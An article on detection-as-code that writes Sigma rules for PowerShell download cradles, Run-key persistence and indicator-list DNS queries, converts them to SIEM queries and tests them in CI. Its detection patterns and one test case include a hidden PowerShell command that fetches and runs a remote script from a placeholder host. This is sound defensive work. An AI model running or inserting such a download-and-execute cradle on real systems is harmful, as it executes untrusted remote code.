Detection-as-Code: Generating Sigma Rules from Threat Intelligence

Detection-as-code with Sigma as the intermediate format: example rules, conversion to Splunk, Elastic and Microsoft Defender queries with sigma-cli, test cases and coverage measurement.

Most SOCs track more threat actors than they have detection rules for, and many of their rules cover generic behaviour rather than the specific tradecraft of the actors they care about. That is our experience, not a measured ratio, but few detection engineers will dispute it.

The gap isn’t laziness. A production-quality rule takes hours: research the technique, understand the telemetry requirements, write the logic, test against benign activity for false positives, tune thresholds, validate across data sources, document, and deploy. Multiply that by the hundreds of techniques in MITRE ATT&CK and you have a backlog that never shrinks.

Detection-as-code treats detection logic the way software engineering treats application code: version-controlled, peer-reviewed, tested in CI, and, where the input is structured, partly generated. When a report on an actor’s PowerShell tradecraft arrives, a draft rule should reach review quickly, not after a ticket sits in Jira for three weeks.

What detection-as-code actually means

The term gets thrown around loosely. Here’s the definition we use:

Detection-as-code is the practice of managing detection logic as source code artifacts that are version-controlled, programmatically generated where possible, tested against known-good and known-bad samples, and deployed through CI/CD pipelines to production SIEM/EDR systems.

The components:

  1. Structured intelligence input — STIX 2.1 indicators with ATT&CK technique mappings
  2. Rule generation — transformation from indicators and techniques to detection logic, by hand or by template
  3. Vendor-agnostic format — Sigma rules as the intermediate representation
  4. Conversion — Sigma to SIEM-native queries (Splunk SPL, Elasticsearch, Kusto and others)
  5. Testing — test cases for detection logic using synthetic and real log samples
  6. Deployment — a CI/CD pipeline pushes validated rules to production

This is distinct from “we store our Splunk alerts in Git,” which is version control for detection rules but not detection-as-code. The “as-code” part means testing and deployment are automated, not just storage.

An example: from a report to rules

Step 1: map the report to techniques

Take a malware report that lists:

An analyst maps the behaviour to ATT&CK techniques:

Step 2: write Sigma rules

The rules below were written by hand for this post. All three pass sigma check with sigma-cli 3.1.0.

T1059.001, PowerShell with an encoded command or a download cradle. ATT&CK lists APT29 among the groups that have used PowerShell, including encoded commands:

title: PowerShell Encoded or Download Cradle Command Line
id: 8f2e4a7c-1d3b-4e5f-9a6c-2b8d7e0f1c4a
status: experimental
description: |
  Detects PowerShell started with an encoded command or a download cradle.
  APT29 is among the groups ATT&CK lists for T1059.001 (G0016).
references:
  - https://attack.mitre.org/techniques/T1059/001/
  - https://attack.mitre.org/groups/G0016/
author: ThreatFight Research
date: 2026-03-22
tags:
  - attack.execution
  - attack.t1059.001
logsource:
  category: process_creation
  product: windows
detection:
  selection_powershell:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_encoded:
    CommandLine|contains:
      - '-enc '
      - '-EncodedCommand '
      - '-ec '
  selection_suspicious_patterns:
    CommandLine|contains:
      - 'FromBase64String'
      - 'System.Convert'
      - 'IEX'
      - 'Invoke-Expression'
      - 'New-Object System.Net.WebClient'
      - 'DownloadString'
      - 'DownloadFile'
  condition: selection_powershell and (selection_encoded or selection_suspicious_patterns)
falsepositives:
  - Legitimate administrative scripts using encoded commands
  - SCCM/Intune deployment scripts
  - Some vendor installers
level: high

T1547.001, a Run key pointing into a user-writable path:

title: Registry Run Key Set to a User-Writable Path
id: 3c9d5e1f-7a2b-4f8c-b6d0-e4a9c1f2d5b7
status: experimental
description: |
  Detects a Run or RunOnce value pointing into a user-writable or temp
  directory, set by a process outside Program Files or System32.
references:
  - https://attack.mitre.org/techniques/T1547/001/
author: ThreatFight Research
date: 2026-03-22
tags:
  - attack.persistence
  - attack.t1547.001
logsource:
  category: registry_set
  product: windows
detection:
  selection_target:
    TargetObject|contains:
      - '\CurrentVersion\Run'
      - '\CurrentVersion\RunOnce'
      - '\CurrentVersion\RunServices'
  selection_suspicious_paths:
    Details|contains:
      - '\Users\Public\'
      - '\ProgramData\'
      - '\AppData\Local\Temp\'
      - '\Windows\Temp\'
  filter_legitimate:
    Image|startswith:
      - 'C:\Program Files\'
      - 'C:\Program Files (x86)\'
      - 'C:\Windows\System32\'
  condition: selection_target and selection_suspicious_paths and not filter_legitimate
falsepositives:
  - Legitimate software installers writing to user-space paths
level: high

An indicator-list rule for the contacted domains. The domains are placeholders; an indicator rule is only as good as the source and age of its list, so record both:

title: DNS Query to Listed C2 Domains (Example)
id: a1e7f2c4-9b3d-4e6a-8c5f-d0b2a7e1f9c3
status: experimental
description: |
  Template for an indicator-list rule. Replace the placeholder domains with
  domains from your own intelligence, with their source and date.
references:
  - https://attack.mitre.org/techniques/T1071/001/
author: ThreatFight Research
date: 2026-03-22
tags:
  - attack.command-and-control
  - attack.t1071.001
logsource:
  category: dns_query
  product: windows
detection:
  selection:
    QueryName:
      - 'update-service.example'
      - 'cdn-assets.example'
  condition: selection
falsepositives:
  - Depends on the quality and age of the indicator list
level: high

Step 3: convert to SIEM queries

Sigma rules are vendor-agnostic; production SIEMs need native queries. pySigma backends do the conversion, and processing pipelines map Sigma’s generic field names to each platform’s log schema. The output below is from sigma-cli 3.1.0 with pySigma 1.5.1, pysigma-backend-splunk 2.1.0, pysigma-backend-elasticsearch 2.1.1 and pysigma-backend-kusto 1.0.1.

Splunk, Sysmon logs (sigma convert -t splunk -p sysmon -p splunk_windows):

source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image IN ("*\\powershell.exe", "*\\pwsh.exe") CommandLine IN ("*-enc *", "*-EncodedCommand *", "*-ec *") OR CommandLine IN ("*FromBase64String*", "*System.Convert*", "*IEX*", "*Invoke-Expression*", "*New-Object System.Net.WebClient*", "*DownloadString*", "*DownloadFile*")

In SPL, OR binds more tightly than the implicit AND, so this reads as the rule’s condition.

Elasticsearch Lucene, ECS from Winlogbeat 7+ (sigma convert -t lucene -p ecs_windows):

(process.executable.caseless:(*\\powershell.exe OR *\\pwsh.exe)) AND ((process.command_line:(*\-enc\ * OR *\-EncodedCommand\ * OR *\-ec\ *)) OR (process.command_line:(*FromBase64String* OR *System.Convert* OR *IEX* OR *Invoke\-Expression* OR *New\-Object\ System.Net.WebClient* OR *DownloadString* OR *DownloadFile*)))

Microsoft Defender XDR advanced hunting, Kusto (sigma convert -t kusto -p microsoft_xdr):

DeviceProcessEvents
| where (FolderPath endswith "\\powershell.exe" or FolderPath endswith "\\pwsh.exe") and ((ProcessCommandLine contains "-enc " or ProcessCommandLine contains "-EncodedCommand " or ProcessCommandLine contains "-ec ") or (ProcessCommandLine contains "FromBase64String" or ProcessCommandLine contains "System.Convert" or ProcessCommandLine contains "IEX" or ProcessCommandLine contains "Invoke-Expression" or ProcessCommandLine contains "New-Object System.Net.WebClient" or ProcessCommandLine contains "DownloadString" or ProcessCommandLine contains "DownloadFile"))

Read the output before deploying it. Field mappings differ between log sources, and a rule written for Sysmon fields will not match Security event 4688, which names the same data New_Process_Name and Process_Command_Line.

Step 4: test the rules

A rule is only useful if it fires on what it should and stays quiet on what it shouldn’t. We recommend keeping test cases next to each rule and running them in CI. A simple format:

True positive cases — synthetic events that should match:

# test_t1059_001_true_positive.yml
test_cases:
  - name: "Encoded PowerShell command"
    log:
      Image: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
      CommandLine: 'powershell.exe -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoA...'
      ParentImage: 'C:\Windows\explorer.exe'
      User: 'CORP\jsmith'
    expected: match

  - name: "PowerShell with DownloadString"
    log:
      Image: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
      CommandLine: "powershell -NoP -NonI -W Hidden IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')"
      ParentImage: 'C:\Windows\System32\cmd.exe'
      User: 'CORP\admin'
    expected: match

True negative cases — benign activity that should not match:

  - name: "Legitimate PowerShell - Get-Process"
    log:
      Image: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
      CommandLine: 'powershell.exe Get-Process | Sort-Object CPU -Descending'
      ParentImage: 'C:\Windows\explorer.exe'
      User: 'CORP\admin'
    expected: no_match

  - name: "SCCM deployment script"
    log:
      Image: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
      CommandLine: 'powershell.exe -ExecutionPolicy Bypass -File "C:\Windows\ccmcache\install.ps1"'
      ParentImage: 'C:\Windows\CCM\CcmExec.exe'
      User: 'SYSTEM'
    expected: no_match

Rules that fail go back to an analyst with the failing case attached.

Why Sigma as the intermediate layer

The Sigma project defines a generic signature format for log events. In the project’s own words, Sigma is for log files what Snort is for network traffic and YARA is for files.

The SigmaHQ rule repository contains more than 3,000 community-maintained rules covering a wide range of ATT&CK techniques. Community rules are generic by design: they detect technique patterns, not one actor’s implementation. Rules written from your own intelligence supplement them with the specific paths, domains and command lines you have evidence for.

Sigma also separates detection logic from SIEM implementation. When you migrate from Splunk to Elastic, or add a second SIEM, the detection logic doesn’t need rewriting. Convert the rules with the new backend and its processing pipeline, check the field mappings, and deploy.

Measuring detection coverage

Detection-as-code makes coverage measurable. For every threat actor you prioritise, you can compute:

If an actor has 27 documented techniques and you have rules for 14, your coverage is 52%. The remaining 13 can be prioritised by intelligence confidence and by whether you have the telemetry to detect them at all.

This turns detection engineering from “write rules when something bad happens” into “maintain coverage against prioritised threats.”

Running the workflow

  1. Intelligence ingestion — STIX indicators from feeds, reports or manual entry
  2. Rule drafting — Sigma rules drafted for new techniques and indicators, by template or by hand
  3. Testing — rules run against their test cases; failures are flagged
  4. Review — analysts review rules as pull requests
  5. Deployment — approved rules are converted with the target backend and deployed via the SIEM’s API
  6. Feedback — alert volumes and false-positive rates go back into tuning

The arithmetic

Assume a team of 5 detection engineers who each finish 2-3 quality rules a week. That assumption is ours, not a survey figure. It gives 10-15 rules a week, roughly 600 a year.

MITRE ATT&CK Enterprise v18 contains 216 techniques and 475 sub-techniques. If you track 50 threat actors averaging 15 techniques each, overlap might leave around 300 distinct techniques. At 3 rules per technique, covering different data sources and variations, that’s 900 rules: about 18 months of the team’s capacity.

Drafting rules from templates shifts analyst time from writing to reviewing and tuning. How much that saves depends on how good the drafts are, which we have not measured.

Further reading

The Sigma specification is essential reading for anyone working in detection engineering, and the SigmaHQ rule repository is a good foundation to build on.

Corrections

  1. : The three Sigma rules and the Splunk, Elastic and Sentinel queries were presented as MalCloud output. They were written by hand: MalCloud's generator emitted a single CommandLine|contains selection per technique, and its converter supported only Splunk SPL and Elastic KQL and ignored the rule's condition. The rules are now labelled as hand-written, and the queries are regenerated with sigma-cli 3.1.0 and the listed backends.
  2. : Removed claims that MalCloud mapped extracted behaviour to ATT&CK techniques, combined technique templates with IOC values, included a rule testing framework, used a Git review workflow, deployed rules to SIEMs, fed results back into generation, computed per-actor coverage, and was "available in all deployment tiers". None of these existed in the code. Removed the "under 60 seconds" and "under 10 minutes" timings, which were never measured.
  3. : The third rule was titled "DNS Query to Known APT29 C2 Infrastructure" and listed two domains as known malicious. They were invented examples and may be real domains owned by others. They are replaced with .example placeholders and the rule is retitled as a template.
  4. : Removed a figure attributed to the "SANS 2024 SOC Survey" (2-3 rules per engineer per week), which we could not find in that survey, and unsourced figures on actors tracked, rules maintained and hours per rule. Corrected "APT29 uses 27 documented techniques": ATT&CK lists far more for G0016, so the example now uses a hypothetical actor. Noted that the ATT&CK counts are for v18. Changed "covering the majority of ATT&CK techniques" to "a wide range", which is what we can support.
  5. : Fixed rule dates to the YYYY-MM-DD format the Sigma specification requires, replaced evil.com (a registered domain) with example.com, updated the moved Sigma specification link, and removed a duplicated call to action.

Found an error? Send it with a source to [email protected]. How we handle it: corrections policy. Vulnerability reports: disclosure policy.